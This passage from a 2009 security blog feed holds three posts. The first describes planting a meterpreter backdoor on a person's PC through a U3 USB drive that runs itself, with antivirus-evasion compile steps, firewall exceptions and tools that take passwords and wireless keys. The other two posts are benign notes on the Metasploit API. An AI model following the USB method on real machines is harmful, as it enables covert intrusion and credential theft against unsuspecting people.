though, so I had to be careful to avoid detection of the payload on my USB as best I could. I also had to provision for connection back to her PC. &lt;br /&gt;&lt;br /&gt;I needed to know the IP and all other relevant information and only had about 20-30 seconds of "hit-and-run" while she opens up the document and hands me the printed copy.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Prep Steps taken:&lt;/span&gt;&lt;br /&gt;1. Remaster U3 image to include Alex Sotirov's http://www.phreedom.org/software/metsvc/. Modify the source and recompile it with MinGW compiler to elevate the chances of AV evasion. Something like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;C:\metsvc-1.0\metsvc-1.0\src&gt;c:\MinGW\bin\gcc.exe -O4 -o metsvc.exe metsvc.cpp -l ws2_32 -l advapi32&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This executable has given me trouble before when I tried several packers: UPX and ASPack, and MPRESS with various degrees of passing the score on VirusTotal. I finally decided not to pack at all and go with heavy optimization at compile time and hexeditor to polish the deal. &lt;br /&gt;&lt;br /&gt;I would have loved to use msfpayload for obfuscation but I had no linux box at my disposal, and I did not seem to find this executable in Win32 MSF Framework distribution.&lt;br /&gt;&lt;br /&gt;2. UPX-pack other useful executables fetching the history and passwords from her PC (in case my remote session connection fails and I need to login directly to PC).&lt;br /&gt;&lt;br /&gt;3. Once inserted into USB slot, U3 will silently run my chain of commands. I had to test for the whole operation to complete within 20 seconds. I have added several more tweaks ( like enabling firewall exceptions for the meterpreter service, via netsh commands) to make extra checks.&lt;br /&gt;&lt;br /&gt;4. I remove the drive with information saved in the logs and go from there...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Show time&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Everything went better than I expected from the AV evasion perspective. No popups or error messages. I even got Wireless Key hash via WIFIKE from NirSoft. The logs showed that the meterpreter service did start up and I did eventually find a way to verify that :) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So I was happy because I now have more or less another methodology I can use to help others realize the risks of Social Engineering meeting Exploitation technology.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-7213589917805033633?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/7213589917805033633/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/05/social-engineering-meets-offensive.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/7213589917805033633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/7213589917805033633'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/05/social-engineering-meets-offensive.html' title='Social Engineering meets Offensive technologies: using USB U3 flash drive with meterpreter payload'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-4098972473293878341</id><published>2009-05-13T09:23:00.000-07:00</published><updated>2009-05-13T10:26:31.097-07:00</updated><title type='text'>Discovering Metasploit API: Structure of installation</title><content type='html'>I was playing with MSF user cache and overwrote it, accidentally :)&lt;br /&gt;&lt;br /&gt;1. To avoid my inevitable sloppiness in the future I am going to try and offload scripts to a more "static" location ( like ~/Code/metasploit) and try and invoke MSF APIs from there. This will allow me to develop and debug scripts outside of  ~/.msf  or /modules/. I can always move the m there eventually.&lt;br /&gt;&lt;br /&gt;For that I have to add the following at the beginning of the script:&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;$:.unshift("/Users/dimas/framework-3.2/lib")&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;This line essentially allows me to prepend MSF library path to the search order for useful MSF classes and modules.&lt;br /&gt;&lt;br /&gt;2. To better understand how MSF is laid out I also wanted to create a little helper for myself showing what's where. MSF class Msf::Config allows to create such a reference.&lt;br /&gt;I will use calls similar to the following:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt; Msf::Config.get_config_root&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;For detailed information see Metasploit API&lt;a href="http://www.metasploit.org/documents/api/msfbase/index.html"&gt; here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I am also going to use MSF's Rex library to nicely format the table of locations. Like so:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;rt=Rex::Ui::Text::Table.new({&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;     "Header" =&gt; "Structure of the installation",&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;     "HeaderIndent" =&gt; 3,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;     "Columns" =&gt; ["Setting Name", "Location"],&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;     "Indent" =&gt; 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;                        })&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here's what I came up with:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;#!/usr/bin/env ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;$:.unshift("/Users/dimas/framework-3.2/lib")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;require 'rex/ui'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;require 'msf/base'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;rt=Rex::Ui::Text::Table.new({&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   "Header" =&gt; "Structure of the installation",&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   "HeaderIndent" =&gt; 3,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   "Columns" =&gt; ["Setting Name", "Location"],&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   "Indent" =&gt; 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;                        })&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;rt.add_hr()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;copts={&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Config Root" =&gt; Msf::Config.get_config_root,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Install Root" =&gt; Msf::Config.install_root,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Config Directory" =&gt; Msf::Config.config_directory,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Config File" =&gt; Msf::Config.config_file,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Data Directory" =&gt; Msf::Config.data_directory,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Module Directory" =&gt; Msf::Config.module_directory,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Plugin Directory" =&gt; Msf::Config.plugin_directory,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Script Directory" =&gt; Msf::Config.script_directory,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Session Directory" =&gt; Msf::Config.session_log_directory,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "User Module Directory" =&gt; Msf::Config.user_module_directory,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "User Script Directory" =&gt; Msf::Config.user_script_directory,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;        "Log Directory" =&gt; Msf::Config.log_directory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;copts.each { |k,v| rt.add_row([k,v]) }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;rt.add_hr()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;rt.print&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And I  now have a nice reference:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;   Structure of the installation&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;   =============================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Setting Name           Location&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; ------------           --------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Plugin Directory       /Users/dimas/framework-3.2/plugins&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Script Directory       /Users/dimas/framework-3.2/scripts&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; User Module Directory  /Users/dimas/.msf3/modules&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Config Directory       /Users/dimas/.msf3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Config Root            /Users/dimas/.msf3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Data Directory         /Users/dimas/framework-3.2/data&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Log Directory          /Users/dimas/.msf3/logs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; User Script Directory  /Users/dimas/.msf3/scripts&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Session Directory      /Users/dimas/.msf3/logs/sessions&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Module Directory       /Users/dimas/framework-3.2/modules&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Install Root           /Users/dimas/framework-3.2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; Config File            /Users/dimas/.msf3/config&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-4098972473293878341?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/4098972473293878341/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/05/discovering-metasploit-api-structure-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/4098972473293878341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/4098972473293878341'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/05/discovering-metasploit-api-structure-of.html' title='Discovering Metasploit API: Structure of installation'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-2818382304782276088</id><published>2009-05-11T14:39:00.000-07:00</published><updated>2009-05-13T10:25:16.145-07:00</updated><title type='text'>Discovering Metasploit API : Utility functions</title><content type='html'>I often write scripts and programs to help me in my automation and testing projects. Many times I find it easier to do a one- or two- liner  or write a short program than to search for a command line tool or GUI interface to accomplish my tasks. There are so many great specialized tools out there but I just don't  do a good job of keeping track of their releases and functionality. However, I am very much fond of the scriptable frameworks because they give you best of the both worlds: flexibility and familiarity/repeatability.&lt;br /&gt;&lt;br /&gt;So I have started playing with&lt;a href="http://www.metasploit.org/"&gt; Metasploit&lt;/a&gt; API to better understand the framework and see what else I could be doing with it. I wanted to educate myself on the "framework" part. Besides, the quality of code is amazing - I am actually referencing  Metasploit Framework for Ruby programming.&lt;br /&gt;&lt;br /&gt;I started by reading the Developer's Guide and going through&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://www.metasploit.org/documents/api/rex/index.html"&gt;Rex  &lt;/a&gt;&lt;span style="font-weight: bold;"&gt;API &lt;/span&gt;first.&lt;br /&gt;&lt;br /&gt;Here are some things I will use going forward.&lt;br /&gt;&lt;br /&gt;- Can discover Byte-order of the Host/target:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;Rex::Arch.endian("ppc") =&gt; 1&lt;br /&gt;Rex::Arch.endian("x86") =&gt; 0&lt;/blockquote&gt;- Can Pack and Re-pack data based on the byte-order&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Arch.pack_addr(ARCH_X86,0x7889)&lt;br /&gt;=&gt; "\211x\000\000"&lt;br /&gt;&gt;&gt; Rex::Arch.pack_addr(ARCH_MIPS,0x7889)&lt;br /&gt;=&gt; "\000\000x\211"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- Can programmatically take advantage of Inline assembly:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Assembly::Nasm.assemble("Mov ebp, 0x1")&lt;br /&gt;=&gt; "\275\001\000\000\000"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;... and disassembly&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Assembly::Nasm.disassemble("\275\001\000\000\000")&lt;br /&gt;=&gt; "00000000  BD01000000        mov ebp,0x1\n"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- Can determine OS cross-platform:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Compat.is_macosx&lt;br /&gt;=&gt; true&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- Can open browser on target system ( also cross-platform. This example is what Windows likes)&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;Rex::Compat.open_browser(url='http://metasploit.com/')&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Also, conversion and transformation facilities are very handy.&lt;br /&gt;- Convert To ASCII encoding&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Encoder::NDR::byte(0x5e)&lt;br /&gt;=&gt; "^"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- XOR encode/decode&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;Rex::Encoder::Xor::EncoderKlass  =  Rex::Encoding::Xor::Dword&lt;br /&gt;enc=Rex::Encoder::Xor.new&lt;br /&gt;enc.encode("AAA",'') &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- or  -&lt;br /&gt;&lt;blockquote&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;enc.encode("AAA",'BADCHARS-GO-HERE')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt;  "\340\267y"&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Now, this is nice and very useful - Obfuscating Javascript:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;@opts={"Strings"=&gt;nil, "Symbols"=&gt;{"Namespaces"=&gt;[], "Variables"=&gt;['a'], "Classes"=&gt;[], "Methods"=&gt;['fun1']}}&lt;br /&gt;&lt;br /&gt;js="var a=5; function fun1{ return false; }; //Comment"&lt;br /&gt;&lt;br /&gt;Rex::Exploitation::ObfuscateJS.new(js, @opts).obfuscate&lt;br /&gt;=&gt; "vgMzBoAwuwunIaYjqXMaeHaGBWr gMzBoAwuwunIaYjqXMaeHaGBW=5; &lt;br /&gt;function jibbyKShzFDQ{ return fgMzBoAwuwunIaYjqXMaeHaGBWlse; }; "&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;-  Epoch to Human Time Conversion and back&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::ExtTime.sec_to_s(6444444)&lt;br /&gt;=&gt; "74 days 14 hours 7 mins 24 secs "&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::ExtTime.str_to_sec("5 days 4 hours 3 minutes")&lt;br /&gt;=&gt; 446580&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- Equivalent of "which" on *nix platforms&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::FileUtils.find_full_path("apropos")&lt;br /&gt;=&gt; "/usr/bin/apropos"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- MIME encodings and attachments. I always miss this one - cannot seem to remember the format and have to go back to my old scripts to reference.&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;msg=Rex::MIME::Message.new&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;msg.add_part("hello",'text/plain',"8bit",nil)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;msg.add_part_inline_attachment("this is inline", "inline_name")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;msg.to_s&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;=&gt; "\r\n\r\n--_Part_525_148040077_1316503564\r\nContent-Type: text/plain\r\nContent-Transfer-Encoding: 8bit\r\n\r\nhello\r\n--_Part_525_148040077_1316503564\r\nContent-Type: application/octet-stream; name=\"inline_name\"\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: inline; filename=\"inline_name\"\r\n\r\ndGhpcyBpcyBpbmxpbmU=\r\n\r\n--_Part_525_148040077_1316503564--\r\n"&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- Ad-hoc Ruby block execution&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;Rex::Script.execute("puts 'hello'")&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- Abundant Networking functionality&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;Rex::Socket.addr_atoi("1.2.3.4")&lt;br /&gt;=&gt; 16909060&lt;/blockquote&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Rex::Socket.addr_ntoa("\001\002\003\004")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "1.2.3.4"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Socket.bit2netmask(18)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "255.255.192.0"&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;...Invaluable:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Socket.cidr_crack("192.168.3.0/25")&lt;br /&gt;=&gt; ["192.168.3.0", "192.168.3.127"]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;IP validation&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Socket.dotted_ip?("1.2.3.4")&lt;br /&gt;=&gt; true&lt;br /&gt;&gt;&gt; Rex::Socket.dotted_ip?("1.2.3.4.")&lt;br /&gt;=&gt; false&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;DNS Resolution&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Socket.resolv_to_dotted("www.google.com")&lt;br /&gt;=&gt; "208.67.216.231"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;sockaddr Structs&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Socket.to_sockaddr("208.67.216.231","80")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "\020\002\000P\320C\330\347\000\000\000\000\000\000\000\000"&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Again, Invaluable - Walking IP ranges&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt; rw=Rex::Socket::RangeWalker.new("192.168.1.1-192.168.2.2")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; #&lt;/span&gt;&lt;rex::socket::rangewalker:0x332dcd4 curr_scope="nil," ranges="[[3232235777," curr_ip="3232235777," curr_range="0," num_ips="258"&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; rw.next_ip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "192.168.1.1"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; rw.next_ip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "192.168.1.2"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; rw.next_ip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "192.168.1.3"&lt;/span&gt;&lt;br /&gt;&lt;/rex::socket::rangewalker:0x332dcd4&gt;&lt;/blockquote&gt;&lt;br /&gt;Subnet Walking&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;sw=Rex::Socket::SubnetWalker.new("192.168.1.0","20")&lt;br /&gt;=&gt; #&lt;rex::socket::subnetwalker:0x32f90d8 curr_ip_idx="0," netmask="208.69.36.132" curr_ip="[" subnet="192.168.1.0" num_ips="3"&gt;&lt;br /&gt;&gt;&gt; sw.netmask&lt;br /&gt;=&gt; "208.69.36.132"&lt;br /&gt;&gt;&gt; sw.next_ip&lt;br /&gt;=&gt; "192.168.1.0"&lt;/rex::socket::subnetwalker:0x32f90d8&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Back to Text Conversion:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::compress("dfgdf             dfgdfg  ddddd")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "dfgdf dfgdfg ddddd&lt;/span&gt;"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Base-64 in/out:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::encode_base64("hello world",":::")&lt;br /&gt;=&gt; "aGVsbG8gd29ybGQ=:::"&lt;br /&gt;&gt;&gt; Rex::Text::decode_base64("aGVsbG8gd29ybGQ=")&lt;br /&gt;=&gt; "hello world"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Gzip:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::gzip("hello world")&lt;br /&gt;=&gt; "\037\213\b\000\251\342\001J\002\003\313H\315\311\311W(\317/\312I\001\000\205\021J\r\v\000\000\000"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Awesome:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::hex_to_raw('\x20\x2e\x2f')&lt;br /&gt;=&gt; " ./"&lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::hexify("Metasploit rocks!Metasploit rocks!Metasploit rocks!")&lt;br /&gt;=&gt; "\\x4d\\x65\\x74\\x61\\x73\\x70\\x6c\\x6f\\x69\\x74\\x20\\x72\\x6f\\x63\\x6b\n\\x73\\x21\\x4d\\x65\\x74\\x61\\x73\\x70\\x6c\\x6f\\x69\\x74\\x20\\x72\\x6f\n\\x63\\x6b\\x73\\x21\\x4d\\x65\\x74\\x61\\x73\\x70\\x6c\\x6f\\x69\\x74\\x20\n\\x72\\x6f\\x63\\x6b\\x73\\x21\n"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::html_encode("http://www.google.com?ggg&amp;amp;4=4")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "&amp;amp;#x68&amp;amp;#x74&amp;amp;#x74&amp;amp;#x70&amp;amp;#x3a&amp;amp;&lt;br /&gt;#x2f&amp;amp;#x2f&amp;amp;#x77&amp;amp;#x77&amp;amp;#x77&amp;amp;#x2e&amp;amp;&lt;br /&gt;#x67&amp;amp;#x6f&amp;amp;#x6f&amp;amp;#x67&amp;amp;#x6c&amp;amp;#x65&amp;amp;&lt;br /&gt;#x2e&amp;amp;#x63&amp;amp;#x6f&amp;amp;#x6d&amp;amp;#x3f&amp;amp;#x67&amp;amp;&lt;br /&gt;#x67&amp;amp;#x67&amp;amp;#x26&amp;amp;#x34&amp;amp;#x3d&amp;amp;#x34"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Useful:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::md5("hello world!+")&lt;br /&gt;=&gt; "7eae149fd806efc3f80c44223205daeb"&lt;br /&gt;&gt;&gt; Rex::Text::md5_raw("hello world!+")&lt;br /&gt;=&gt; "~\256\024\237\330\006\357\303\370\fD\"2\005\332\353"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::rand_base(20,'',"A")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "AAAAAAAAAAAAAAAAAAAA"&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::rand_hostname&lt;br /&gt;=&gt; "rycc.bcn8y.n.f.moyn0oq9.org"&lt;/blockquote&gt;&lt;br /&gt;For fuzzing:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt; Rex::Text::rand_text(40,'-')&lt;br /&gt;=&gt; "\025\263\022v\340o\3334\253EV.5\335KM[\204s(\362\371V\223\341\343Y\232\025P*\260\225l\e\223\317\342\314\275"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;For network dumps:&lt;br /&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::to_hex_dump("hello World\n")&lt;br /&gt;=&gt; "68 65 6c 6c 6f 20 57 6f 72 6c 64 0a    hello World.\n\n"&lt;/blockquote&gt;&lt;blockquote style="color: rgb(0, 153, 0);"&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&gt;&gt; Rex::Text::to_unescape("&lt;ggg&gt;")&lt;br /&gt;=&gt; "%u673c%u6767%u413e"&lt;/ggg&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 